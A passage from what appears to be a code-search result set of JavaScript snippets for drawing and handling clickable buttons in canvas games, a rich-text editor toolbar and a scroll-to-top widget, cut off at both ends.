buttonType.BuildCruiser:\r\n\t\t\t\timg.drawBuildShipButton(\"cruiser\",that.x,that.y, selectedPlanet.productionPlan.noCruisers, targetCanvas);\r\n\t\t\tbreak;\r\n\t\t\tcase buttonType.BuildCapital:\r\n\t\t\t\timg.drawBuildShipButton(\"capital\",that.x,that.y, selectedPlanet.productionPlan.noCapitals, targetCanvas);\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\t//Research buttons\r\n\t\t\tcase buttonType.ResearchLaser:\r\n\t\t\t\timg.drawResearchButton(\"laser\", that.x, that.y, targetCanvas);\r\n\t\t\t\tbreak;\t\r\n\t\t\t\t\r\n\t\t\tcase buttonType.ResearchShields:\r\n\t\t\t\timg.drawResearchButton(\"shield\", that.x, that.y, targetCanvas);\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.ResearchAdvMissile:\r\n\t\t\t\timg.drawResearchButton(\"adv_missile\", that.x, that.y, targetCanvas);\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.ResearchReactor:\r\n\t\t\t\timg.drawResearchButton(\"reactor\", that.x, that.y, targetCanvas);\r\n\t\t\t\tbreak;\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\tcase buttonType.BrowseShipsLeft:\r\n\t\t\t\ttargetCanvas.fillStyle = 'black';\r\n\t\t\t\ttargetCanvas.fillRect(that.x, that.y+20, that.w, that.h-20);\r\n\t\t\t\ttargetCanvas.drawImage(img.left_arrow,that.x,that.y+20);\r\n\t\t\tbreak;\r\n\t\t\tcase buttonType.BrowseShipsRight:\r\n\t\t\t\ttargetCanvas.fillStyle = 'black';\r\n\t\t\t\ttargetCanvas.fillRect(that.x, that.y+20, that.w, that.h-20);\r\n\t\t\t\ttargetCanvas.drawImage(img.right_arrow,that.x,that.y+20);\r\n\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\tthat.drawThis(targetCanvas);\r\n\t\t}\r\n\t}\r\n\t\r\n\tthat.drawThis = function(targetCanvas){\r\n\t\ttargetCanvas.fillStyle = that.fill;\r\n\t\ttargetCanvas.fillRect(that.x, that.y, that.w, that.h);\r\n\t\ttargetCanvas.fillStyle = 'black';\r\n\t\tctx.font = that.fontStyle;\r\n\t\ttargetCanvas.fillText(that.title, that.x + 2, that.y + 15);\t\r\n\t}\r\n\t\r\n\tthat.gotClicked = function(button){\r\n\t\t//if button = 0; it was a leftClick\r\n\t\t//if button = 1; it was a rightClick.\r\n\t\tconsole.log(that.title + \" got clicked.\");\r\n\t\t\r\n\t\tswitch (that.type){\r\n\t\t\t\t//General buttons\r\n\t\t\tcase buttonType.EndTurn:\r\n\t\t\t\tnextTurn();\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.Upgrade:\r\n\t\t\t\tselectedPlanet.tryUpgrade();\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.RemoveCR:\r\n\t\t\t\tcombatResultScreen.hide();\t\t\t\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.RemoveGO:\r\n\t\t\t\tgameOverScreen.active = false;\r\n\t\t\t\tif (gameFinished){\r\n\t\t\t\t\tplayState = 0;\r\n\t\t\t\t\tsetupLevel();\t\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.BrowseShipsLeft:\r\n\t\t\t\tselectedPlanet.shipButtons.page--;\r\n\t\t\t\tselectedPlanet.shipButtons.layOutButtons();\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.BrowseShipsRight:\r\n\t\t\t\tselectedPlanet.shipButtons.page++;\r\n\t\t\t\tselectedPlanet.shipButtons.layOutButtons();\r\n\t\t\t\tbreak;\r\n\t\t\t\r\n\t\t\t\t//Build buttons.\t\r\n\t\t\tcase buttonType.BuildScout:\r\n\t\t\t\tconsole.log(\"This planet wants to build a Scout\");\r\n\t\t\t\tselectedPlanet.buildShip(\"scout\", 1);\r\n\t\t\t\tbreak;\t\r\n\t\t\t\t\t\t\r\n\t\t\tcase buttonType.BuildFrigate:\r\n\t\t\t\tconsole.log(\"This planet wants to build a Frigate\");\r\n\t\t\t\tselectedPlanet.buildShip(\"frigate\",1);\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.BuildFighter:\r\n\t\t\t\tselectedPlanet.buildShip(\"fighter\", 1);\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.BuildDreadnaught:\r\n\t\t\t\tselectedPlanet.buildShip(\"dreadnaught\", 1);\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.BuildCruiser:\r\n\t\t\t\t//console.log(\"This planet wants to build a Cruiser\");\r\n\t\t\t\tselectedPlanet.buildShip(\"cruiser\",1);\r\n\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.BuildCapital:\r\n\t\t\t\t//console.log(\"This planet wants to build a Capital\");\r\n\t\t\t\tselectedPlanet.buildShip(\"capital\",1);\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t//Selecting units buttons\r\n\t\t\tcase buttonType.Scouts:\r\n\t\t\t\tif (button == 0){\r\n\t\t\t\t\tselectedPlanet.selectAllScouts();\r\n\t\t\t\t}\r\n\t\t\t\telse{\r\n\t\t\t\t\tselectedPlanet.deselectScout();\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.Frigates:\r\n\t\t\t\tif (button == 0){\r\n\t\t\t\t\t//console.log(\"This planet wants to select a Frigate\");\r\n\t\t\t\t\tselectedPlanet.selectAllFrigates();\r\n\t\t\t\t}\r\n\t\t\t\telse{\r\n\t\t\t\t\tselectedPlanet.deselectFrigate();\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.Fighters:\r\n\t\t\t\tif (button == 0){\r\n\t\t\t\t\tselectedPlanet.selectAllFighters();\r\n\t\t\t\t}\r\n\t\t\t\telse{\r\n\t\t\t\t\tselectedPlanet.deselectFighter();\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.Dreadnaughts:\r\n\t\t\t\tif (button == 0){\r\n\t\t\t\t\tselectedPlanet.selectAllDreadnaughts();\r\n\t\t\t\t}\r\n\t\t\t\telse{\r\n\t\t\t\t\tselectedPlanet.deselectDreadnaught();\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.Cruisers:\r\n\t\t\t\tif (button == 0){\r\n\t\t\t\t\t//console.log(\"This planet wants to select a Cruisers\");\r\n\t\t\t\t\tselectedPlanet.selectAllCruisers();\t\r\n\t\t\t\t}\r\n\t\t\t\telse{\r\n\t\t\t\t\tselectedPlanet.deselectCruiser();\t\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.Capitals:\r\n\t\t\t\tif (button == 0){\r\n\t\t\t\t\t//console.log(\"This planet wants to select a Capitals\");\r\n\t\t\t\t\tselectedPlanet.selectAllCapitals();\t\t\r\n\t\t\t\t}\r\n\t\t\t\telse{\r\n\t\t\t\t\tselectedPlanet.deselectCapital();\t\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t//Research buttons\r\n\t\t\tcase buttonType.ResearchLaser:\r\n\t\t\t\tselectedPlanet.researchPlan.addProject( \"laser\", currentPlayer );\r\n\t\t\t\tbreak;\t\r\n\t\t\t\t\r\n\t\t\tcase buttonType.ResearchShields:\r\n\t\t\t\tselectedPlanet.researchPlan.addProject( \"shields\", currentPlayer );\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.ResearchAdvMissile:\r\n\t\t\t\tselectedPlanet.researchPlan.addProject( \"advMissile\", currentPlayer );\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase buttonType.ResearchReactor:\r\n\t\t\t\tselectedPlanet.researchPlan.addProject( \"reactor\", currentPlayer );\r\n\t\t\t\tbreak;\t\r\n\t\t\t\t\r\n\t\t\tcase buttonType.Empty:\r\n\t\t\t\t//For the moved ships buttons; they don't actually do anything.\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tdefault:\r\n\t\t\t\tbreak;\r\n\t\t\r\n\t\t}\r\n\t\t\r\n\t\t//If it was a right click.\t\t\r\n\t}\r\n\r\n\treturn that;\r\n}", "title": "" }, { "docid": "e65d69bb353a6f9c8d6bb6521d25c8a8", "score": "0.6447634", "text": "function draw_button(\r\n x,y,rx,ry, // in position x,y, of size, rx,ry\r\n contextin,stylein, // in context 'contextin' with style 'stylein'\r\n corner,shape, // corner and shape give the shape choices\r\n active, // is the button active? a boolean\r\n pressX,pressY,click_in // pressX and pressY - the focus of mouse or touch - 'click_in' tells us if the mouse is clicked or screen being touched\r\n )\r\n{\r\n // this variable will be true if the pressed point is over the button\r\n var is_over = false;\r\n \r\n // now work out if the pressed point is over the button\r\n if (shape == \"src\")\r\n {\r\n // we approximate the clicking area of the button with a rectangle even if the button has a slightly differnet acutal shape\r\n is_over = in_rect(x,y,rx,ry,pressX,pressY);\r\n }\r\n else if (shape == \"src_d\")\r\n {\r\n is_over = in_src_down(x,y,rx,ry,corner,pressX,pressY);\r\n }\r\n else if (shape == \"src_u\")\r\n {\r\n is_over = in_src_up(x,y,rx,ry,corner,pressX,pressY);\r\n }\r\n else if (shape == \"chev\")\r\n {\r\n is_over = in_cheveron(x,y,rx,ry,corner,pressX,pressY);\r\n }\r\n else if (shape == \"chev_t\")\r\n {\r\n is_over = in_cheveron_top(x,y,rx,ry,corner,pressX,pressY);\r\n }\r\n else if (shape == \"chev_b\")\r\n {\r\n is_over = in_cheveron_bottom(x,y,rx,ry,corner,pressX,pressY);\r\n }\r\n else if (shape == \"circ\")\r\n {\r\n is_over = false;\r\n if (((pressX-x-rx/2)*(pressX-x-rx/2)+(pressY-y-ry/2)*(pressY-y-ry/2))<= (Math.min(rx,ry)*Math.min(rx,ry)/4))\r\n {\r\n is_over = true;\r\n }\r\n }\r\n \r\n // this variable tells us if we need to stroke the button\r\n var do_stroke = false;\r\n \r\n // now set the styles\r\n if (active)\r\n {\r\n if (is_over)\r\n {\r\n if (click_in)\r\n {\r\n if (stylein.clicked.line_width && stylein.clicked.line_width > 0)\r\n {\r\n contextin.lineWidth = stylein.clicked.line_width;\r\n do_stroke = true;\r\n }\r\n contextin.fillStyle = stylein.clicked.inner_col;\r\n contextin.strokeStyle = stylein.clicked.line_col;\r\n }\r\n else\r\n {\r\n if (stylein.over.line_width && stylein.over.line_width > 0)\r\n {\r\n contextin.lineWidth = stylein.over.line_width;\r\n do_stroke = true;\r\n }\r\n contextin.fillStyle = stylein.over.inner_col;\r\n contextin.strokeStyle = stylein.over.line_col;\r\n }\r\n }\r\n else\r\n {\r\n if (stylein.standard.line_width && stylein.standard.line_width > 0)\r\n {\r\n contextin.lineWidth = stylein.standard.line_width;\r\n do_stroke = true;\r\n }\r\n contextin.fillStyle = stylein.standard.inner_col;\r\n contextin.strokeStyle = stylein.standard.line_col;\r\n }\r\n }\r\n else\r\n {\r\n if (stylein.disabled.line_width && stylein.disabled.line_width > 0)\r\n {\r\n contextin.lineWidth = stylein.disabled.line_width;\r\n do_stroke = true;\r\n }\r\n contextin.fillStyle = stylein.disabled.inner_col;\r\n contextin.strokeStyle = stylein.disabled.line_col;\r\n }\r\n \r\n // now draw the button path accounting for the stroke size\r\n if (shape == \"src\")\r\n {\r\n draw_src(x+contextin.lineWidth/2,y+contextin.lineWidth/2,rx-contextin.lineWidth,ry-contextin.lineWidth,corner,contextin);\r\n }\r\n else if (shape == \"src_d\")\r\n {\r\n draw_src_down(x+contextin.lineWidth/2,y+contextin.lineWidth/2,rx-contextin.lineWidth,ry-contextin.lineWidth,corner,contextin);\r\n }\r\n else if (shape == \"src_u\")\r\n {\r\n draw_src_up(x+contextin.lineWidth/2,y+contextin.lineWidth/2,rx-contextin.lineWidth,ry-contextin.lineWidth,corner,contextin);\r\n }\r\n else if (shape == \"chev\")\r\n {\r\n draw_cheveron(x+contextin.lineWidth/2,y+contextin.lineWidth/2,rx-contextin.lineWidth,ry-contextin.lineWidth,corner,contextin);\r\n }\r\n else if (shape == \"chev_t\")\r\n {\r\n draw_cheveron_top(x+contextin.lineWidth/2,y+contextin.lineWidth/2,rx-contextin.lineWidth,ry-contextin.lineWidth,corner,contextin);\r\n }\r\n else if (shape == \"chev_b\")\r\n {\r\n draw_cheveron_bottom(x+contextin.lineWidth/2,y+contextin.lineWidth/2,rx-contextin.lineWidth,ry-contextin.lineWidth,corner,contextin);\r\n }\r\n else if (shape == \"circ\")\r\n {\r\n contextin.beginPath();\r\n contextin.arc(x+rx/2,y+ry/2,0.5*Math.min(rx-contextin.lineWidth,ry-contextin.lineWidth),0,Math.PI*2,true);\r\n }\r\n \r\n // fill and stroke the button\r\n contextin.fill();\r\n if (do_stroke)\r\n {\r\n contextin.stroke();\r\n }\r\n \r\n // needs to be active and clicking to return positive value\r\n return (active && is_over);\r\n}", "title": "" }, { "docid": "d4f89fbdc3fd79adc1d516218b8087f8", "score": "0.62371016", "text": "function createButton(txt, editor ) \n {\n\n\t editor.ddt._ddt( \"htmlarea.js\",\"3012\", \"createButton(): top with text '\" + txt + \"'\" );\n\n // the element that will be created\n\n var el = null;\n var btn = null;\n\t\tvar obj = null;\n\n switch (txt) \n\t {\n case \"separator\":\n el = document.createElement(\"div\");\n el.className = \"separator\";\n break;\n\n case \"space\":\n el = document.createElement(\"div\");\n el.className = \"space\";\n break;\n\n case \"linebreak\":\n newLine( editor );\n return false;\n\n case \"textindicator\":\n el = document.createElement(\"div\");\n el.appendChild(document.createTextNode(\"A\"));\n el.className = \"indicator\";\n el.title = HTMLArea._lc(\"Current style\");\n\n obj = \n\t\t {\n name\t: txt, // the button name (i.e. 'bold')\n element : el, // the UI element (DIV)\n enabled : true, // is it enabled?\n active\t: false, // is it pressed?\n text\t: false, // enabled in text mode?\n cmd\t: \"textindicator\", // the command ID\n state\t: setButtonStatus // for changing state\n };\n\n tb_objects[txt] = obj;\n\n break;\n\n default:\n btn = editor.config.btnList[txt];\n }\n\n if (!el && btn) \n\t {\n el = document.createElement(\"a\");\n el.style.display = 'block';\n el.href = 'javascript:void(0)';\n el.style.textDecoration = 'none';\n el.title = btn[0];\n el.className = \"button\";\n\n // let's just pretend we have a button object, and\n // assign all the needed information to it.\n\n obj = \n\t\t {\n name\t: txt, // the button name (i.e. 'bold')\n element : el, // the UI element (DIV)\n enabled : true, // is it enabled?\n active\t: false, // is it pressed?\n text\t: btn[2], // enabled in text mode?\n cmd\t: btn[3], // the command ID\n state\t: setButtonStatus, // for changing state\n context : btn[4] || null // enabled in a certain context?\n };\n\n tb_objects[txt] = obj;\n\n // handlers to emulate nice flat toolbar buttons\n\n HTMLArea._addEvent(el, \"mouseout\", \n\t\t\t\tfunction () \n\t\t\t {\n\t\t\t\t\tif (obj.enabled)\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\tHTMLArea._ddt( \"htmlarea.js\",\"3095\", \"mouseout event: top\" );\n\n //_removeClass(el, \"buttonHover\");\n\t\t\t\t \t\tHTMLArea._removeClass(el, \"buttonActive\");\n\t\t\t\t\t\t(obj.active) && HTMLArea._addClass(el, \"buttonPressed\");\n\t }\n \t });\n\n HTMLArea._addEvent(el, \"mousedown\", \n\t\t\t\tfunction (ev) \n\t\t\t\t\t{\n\t\t\t\t\tif (obj.enabled) \n\t\t\t\t\t\t{\n\n\t\t\t\t\t\tHTMLArea._ddt( \"htmlarea.js\",\"3109\", \"mousedown event top\" );\n\n\t\t\t\t\t\tHTMLArea._addClass(el, \"buttonActive\");\n\t\t\t\t\t\tHTMLArea._removeClass(el, \"buttonPressed\");\n\t\t\t\t\t\tHTMLArea._stopEvent(HTMLArea.is_ie ? window.event : ev);\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\n // when clicked, do the following:\n\n HTMLArea._addEvent(el, \"click\", \n\t\t\t function (ev) \n\t\t\t\t\t{\n\t\t\t\t\tif (obj.enabled) \n\t\t\t\t\t\t{\n\n\t\t\t\t\t\tHTMLArea._ddt( \"htmlarea.js\",\"3125\", \"click event top\" );\n\n HTMLArea._removeClass(el, \"buttonActive\");\n //_removeClass(el, \"buttonHover\");\n\n if ( HTMLArea.is_gecko )\n {\n editor.activateEditor();\n }\n\n obj.cmd(editor, obj.name, obj);\n\n HTMLArea._stopEvent(HTMLArea.is_ie ? window.event : ev);\n }\n });\n\n var i_contain = HTMLArea.makeBtnImg(btn[1]);\n var img = i_contain.firstChild;\n el.appendChild(i_contain);\n\n obj.imgel = img;\n\n obj.swapImage = function(newimg)\n\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t if(typeof newimg != 'string')\n\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t img.src = newimg[0];\n\t\t\t\t\t\t\t\t img.style.position = 'relative';\n\t\t\t\t\t\t\t\t img.style.top = newimg[2] ? ('-' + (18 * (newimg[2] + 1)) + 'px') : '-18px';\n\t\t\t\t\t\t\t\t img.style.left = newimg[1] ? ('-' + (18 * (newimg[1] + 1)) + 'px') : '-18px';\n\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t else\n\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t obj.imgel.src = newimg;\n\t\t\t\t\t\t\t\t img.style.top = '0px';\n\t\t\t\t\t\t\t\t img.style.left = '0px';\n\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t }\t// end of function definition.\n\n } \n\t else if (!el) \n\t {\n el = createSelect(txt);\n }\n\n if (el) \n\t {\n var tb_cell = document.createElement(\"td\");\n tb_row.appendChild(tb_cell);\n tb_cell.appendChild(el);\n } \n\t else \n\t {\n alert(\"FIXME: Unknown toolbar item: \" + txt);\n }\n\n return el;\n\n }", "title": "" }, { "docid": "82880f30b382104e6fbb2bc17ad4d005", "score": "0.61904186", "text": "constructor(x, y, w, h, col, col1, name){\n this.x = x; // this is the x value for the button\n this.y = y; // this is the y value for the button\n this.w = w; // this is the width\n this.h = h; // this is the height\n this.col = col; // this is the first colour of the button\n this.col1= col1; // this is the colour of the button when it is selected\n this.coloriginal = col; // this stores the first colour of the button so it can be changed back to this when the button is no longer selected\n this.name = name; // this is the name of the shape that refers the object to a shape on to appear on screen\n this.mouseDown = false; // mouse down variable is initially set to false as the mouse is up\n this.target = draw; // this is the target class where the selected shape is set to\n this.wB = w; // this is the image width\n this.hB = h; // this is the image height\n this.wB2 = w + 15; // this is the image width when it is selected \n this.hB2 = h + 5; // this is the image height when it is selected\n this.wBoriginal = w; // this stores the original width \n this.hBoriginal = h; // this stores the original height\n this.element = canvas; // this brings events on to the canvas \n this.element.addEventListener('mousedown', this.mDown.bind(this)); // this is the mouse down event \n this.element.addEventListener('mousemove', this.mMove.bind(this)); // this is the mouse move event\n this.element.addEventListener(\"mouseup\", this.mUp.bind(this)); // this is the mouse up event\n }", "title": "" }, { "docid": "c1d86715ce7e49efb7e2aae054b4a0c4", "score": "0.6173595", "text": "constructor(x, y, w, h, col, col1, textColour){\n this.x = x; // this is the x value for the rectangle that is the button\n this.y = y; // this is the y value\n this.w = w; // this is the width to set how wide the button will be\n this.h = h; // this is the height that will set how tall the button will be\n this.col = col; // this is the button colour\n this.col1= col1; // this is the border colour for the button\n this.textColour = textColour; // this is the color of the text for the selected text on the color buttons \n this.inbounds = false; // when the program opens the inbounds test is set to false\n this.col1original = col1; // as the border colour changes when the mouse hovers over the button this is storing the original variable \n this.mouseDown = false; // this boolean variable stores whether or not the mouse is down\n this.target = draw; // the target is the rectangle class so this is what sends variables to the rectangle function when drawing the shapes\n this.element = canvas;// this adds listeners in the canvas which is the main box on the screen\n this.element.addEventListener('mousedown', this.mDown.bind(this)); // this adds a mouse down listener to make the screen interactive\n this.element.addEventListener('mousemove', this.mMove.bind(this)); // this adds a mouse moving listener\n this.element.addEventListener(\"mouseup\", this.mUp.bind(this)); // this adds a mouse up listener when the mouse is up\n }", "title": "" }, { "docid": "ba43ef8fbd224fc5ab842611855a4798", "score": "0.6163163", "text": "function createTextButton(btnX, btnY, text, fontSize, align, backgroundColor, handleClick, intendedScreens){\n\t// Measures the height and width the text will be, and where the x position is based on the alignment chosen.\n\tctx1.save();\n\tctx1.font = fontSize + \"pt Impact\";\n\tvar width = ctx1.measureText(text).width,\n\t\theight = Math.round(1.05*fontSize),\n\t\tbtnX = (align == \"center\") ? btnX-(width/2) : btnX;\n\tctx1.restore();\n\n\t// Function to draw the button.\n\tfunction drawButton(args, highlight){\n\t\t// Fills over what was here before with the specified background colour.\n\t\tctx1.save();\n\t\tctx1.fillStyle = backgroundColor;\n\t\tctx1.fillRect(btnX, btnY-1, width+2, height+2);\n\n\t\t// Writes the text in the specified size and alignment.\n\t\tctx1.font = fontSize + \"pt Impact\";\n\t\tctx1.textAlign = align;\n\t\tctx1.fillStyle = (highlight) ? \"rgba(0, 0, 0, 1)\" : \"rgba(0, 0, 0, 0.6)\";\n\t\tctx1.fillText(text, btnX, btnY+height);\n\t\tctx1.restore();\n\t}\n\n\tfunction checkHover(){\n\t\treturn (mousex > btnX && mousex < btnX+width && mousey > btnY && mousey < btnY+height);\n\t}\n\n\treturn createButton(drawButton, undefined, checkHover, handleClick, intendedScreens);\n}", "title": "" }, { "docid": "d7c9311749f579f388f6c424079aced7", "score": "0.61580354", "text": "function Button(x, y, w, h, onClick) {\n GameObject.call(this, x, y, w, h);\n this.fillColor = color(255, 255, 255); //The fill color of the button\n this.hoverColor = color(255, 255, 0); //the fill color when mouse hovers\n this.strokeColor = color(0, 0, 0); //the button outline color\n this.strokeWeight = 1 * progScale; //The width of the button border. Set to <= 0 to have no stroke\n\n this.onClick = onClick; //What the button does when clicked\n\n this.displayText = \"\"; //the text displayed within the button\n this.textSize = 10 * progScale; //size of font\n this.textColor = color(255, 255, 255);\n this.textHoverColor = color(255, 255, 255);\n this.textFont = fontRegular; //the font, what is looks like\n\n this.isHovering = false; //whether mouse is hovering over\n \n this.isDisabled = false; //is in diabled mode, button cannot be clicked\n this.disabledFill = color(255/1.8, 255/1.8, 255/1.8); //fill of button when disabled\n this.disabledTextFill = color(255/3, 255/3, 255/3); //fill of text when disabled\n\n this.update = function() {\n //only approve if not disabled\n if (!this.isDisabled && this.isMouseHovering()) {\n this.isHovering = true;\n //change mouse cursor to pointer\n cursor(\"pointer\"); //changes cursor to \"pointing\" mode\n //if click, activate\n if (mouseWasClickedLeft) {\n this.onClick();\n }\n } else {\n this.isHovering = false;\n }\n }\n\n\n this.draw = function() {\n //fill color changes if hovering\n if (this.isHovering) {\n fill(this.hoverColor);\n } else if (this.isDisabled) {\n fill (this.disabledFill);\n } else {\n fill(this.fillColor);\n }\n\n if (this.strokeWeight <= 0) {\n noStroke();\n } else {\n stroke(this.strokeColor);\n strokeWeight(this.strokeWeight);\n }\n\n rect(this.getX(), this.getY(), this.getWidth(), this.getHeight());\n\n //fill color changes if hovering\n if (this.isHovering) {\n fill(this.textHoverColor);\n } else if (this.isDisabled) {\n fill(this.disabledTextFill);\n } else {\n fill(this.textColor);\n }\n noStroke();\n textAlign(CENTER, CENTER);\n textSize(this.textSize);\n textFont(this.textFont);\n var textX = this.getX() + this.getWidth() / 2;\n var textY = this.getY() + this.getHeight() / 2;\n text(this.displayText, textX, textY);\n\n }\n\n this.isMouseHovering = function() {\n if (mouseX >= this.getX() && mouseX <= this.getX() + this.getWidth() &&\n mouseY >= this.getY() && mouseY <= this.getY() + this.getHeight()) {\n return true;\n } else {\n return false;\n }\n }\n}", "title": "" }, { "docid": "0e73bf94fd10ddb2e4a18e12c9703f77", "score": "0.608798", "text": "function createButton(x, y, text, color) {\n let background = new createjs.Shape();\n background\n .graphics\n .beginFill(color)\n .drawRoundRect(0, 0, BUTTON_WIDTH, BUTTON_HEIGHT, BUTTON_RADIUS);\n\n let label = new createjs.Text(text, \"bold 16px Arial\", \"#FFFFFF\").set({\n x: BUTTON_WIDTH / 2, y: BUTTON_HEIGHT / 2,\n textAlign: \"center\", textBaseline: \"middle\",\n });\n\n let button = new createjs.Container();\n button.x = x - BUTTON_WIDTH / 2;\n button.y = y - BUTTON_HEIGHT / 2;\n button.name = `${label.text} button`;\n button.addChild(background, label);\n button.cursor = \"pointer\";\n button.mouseChildren = false;\n button.on(\"mouseover\", handleMouseOver);\n button.on(\"mouseout\", handleMouseOver);\n\n return button;\n}", "title": "" }, { "docid": "8dcb0c918e86f3dac65658f81b55b3e2", "score": "0.60164744", "text": "function button() { \n if (isButton) { // if button is pressed\n bgColor = 50; // change the background color\n } else {\n bgColor = 255;\n }\n noStroke();\n fill(200,g,100);\n rect(p, q, w, h,80); // draw a rect button\n \n g = g + gChange; // let the g value of color change automatically.\n if (g < 0 || g > 255) { // if g value is out of range 0-255,\n gChange *= -1; // let g value returns the range\n }\n}", "title": "" }, { "docid": "daaf4a25d0003fd3759ae8dc639d713b", "score": "0.596804", "text": "function drawButtons() {\n // The diameter of the button figure, it will be used to move the figure\n // to the center of the button.\n var d = buttonSize/2;\n txtColor = 0;\n // Paint the figure buttons background.\n push();\n fill(color(41, 163, 41));\n rect(0,startingButtonYPosition-15,canvasSize,startingButtonYPosition-15)\n pop();\n \n // Paint the buttons\n // Sun\n drawButton(getButtonXPostion(3),startingButtonYPosition,buttonSize,\"orange\",100,\"Solar\",0);\n drawSun(getButtonXPostion(3)+d,startingButtonYPosition+d,d,0);\n \n // Moon\n drawButton(getButtonXPostion(4),startingButtonYPosition,buttonSize,\"purple\",\"lightgreen\",\"Lunar\",3);\n drawMoon(getButtonXPostion(4)+d,startingButtonYPosition+d,d,0);\n \n // Paint the background button's background and text.\n push();\n fill(color(187, 51, 255));\n rect(getButtonXPostion(8)+6,startingButtonYPosition-15,canvasSize-getButtonXPostion(8)-6,canvasSize-startingButtonYPosition+15);\n\tfill(txtColor);\n textSize(15);\n text(\"Background\", getButtonXPostion(8)+30,startingButtonYPosition+4);\n pop();\n \n // Paint the background buttons\n // Partial Lunar Eclipse Button\n drawButton(getButtonXPostion(8)+20,startingButtonYPosition+10,buttonSize,color(10),\"lightgreen\",\"Stars\",8);\n drawUniverseBackground(getButtonXPostion(8)+25,startingButtonYPosition+15,buttonSize-10);\n \n // Penumbral Lunar Eclipse Button\n drawButton(getButtonXPostion(9)+20,startingButtonYPosition+10,buttonSize,color(0, 34, 51),100,\"Clouds\",9);\n drawBlueSky(getButtonXPostion(9)+25,startingButtonYPosition+15,buttonSize-10);\n \n // Paint the slider and redio buttons.\n push();\n // Slider properties\n scaleSlider.position(getButtonXPostion(0), startingButtonYPosition+60);\n scaleSlider.size(getButtonXPostion(7));\n \n // Slider background\n fill(color(179, 119, 0));\n rect(0,startingButtonYPosition+60,getButtonXPostion(8)+6,canvasSize-startingButtonYPosition-60)\n \n // Slider text\n fill(txtColor);\n textSize(13);\n text(\"Scale\", scaleSlider.x + scaleSlider.width+6, startingButtonYPosition+76);\n text(scaleSlider.value(), scaleSlider.x -15, startingButtonYPosition+76);\n \n // Radio properties\n spiralRadio.position(getButtonXPostion(6), startingButtonYPosition);\n spiralRadio.size(80);\n // Radio text\n text(\"Spiral Type\", getButtonXPostion(6) , startingButtonYPosition)\n pop();\n}", "title": "" }, { "docid": "11f530856f23480282934a7153663778", "score": "0.58893067", "text": "function drawBtn(){\nctx.fillStyle = 'red';\nctx.fillRect(buttonX, buttonY, buttonW, buttonH);\nctx.font = '20px Arial'\nctx.fillStyle = 'black';\nctx.fillText(\"clear\",(width/2)-20,height-100+17);\n}", "title": "" }, { "docid": "b8d0896e917964c41c8be9cf192c242e", "score": "0.58759934", "text": "function appendButton(that){\n var opClass = ' op-' + config.opacity;\n var shClass = ' sh-' + config.shape;\n var bpClass = ' bp-' + config.position;\n var bmClass = ' bm-' + config.margin;\n var szClass = ' sz-' + config.size;\n var bwClass = ' bw-' + config.border.width;\n var filterClass = '';\n var hideClass = '';\n var isClass = '';\n var bsClass = '';\n var pClass = '';\n\n var imgCClasses = config.imgClasses.join(' ');\n var linkCClasses = config.linkClasses.join(' ');\n var linkClasses = '';\n var imgClasses = '';\n\n var linkStyle = '';\n var imgPath = '';\n var iconColor = '';\n\n // determine icon color\n iconColor = config.iconColor == 'b' ? 'b' : 'w';\n\n // image path\n imgPath = config.imagePath + '/' + iconColor + '/' + config.arrowType + '.svg';\n\n // border\n bwClass = bwClass + iconColor;\n\n // shadows\n if(config.iconShadow != '')\n isClass = ' is-' + config.iconShadow ;\n\n if(config.btnShadow != '')\n bsClass = ' bs-' + config.btnShadow;\n\n // palette\n if(config.palette != '')\n pClass = ' p-' + config.palette.toLowerCase();\n\n // auto hide\n if(config.autoHide)\n hideClass = ' hide';\n\n // filter\n if(config.filter)\n filterClass = ' filter';\n\n // build styles \n if(config.border.color != '' || config.backgroundColor != '' || !showMobile()){\n var boColor = 'border-color:' + config.border.color;\n var bgColor = 'background-color:' + config.backgroundColor;\n var display = !showMobile() ? 'display:none' : '';\n linkStyle = ' style=\"' + bgColor + ';' + boColor + ';' + display + '\"';\n }\n\n // build custom classes \n imgCClasses = imgCClasses.length > 0 ? imgCClasses + ' ' : imgCClasses;\n linkCClasses = linkCClasses.length > 0 ? linkCClasses + ' ' : linkCClasses;\n\n // build link and image classes\n linkClasses = config.buttonClass + opClass + shClass + bpClass + bmClass + pClass + szClass \n + 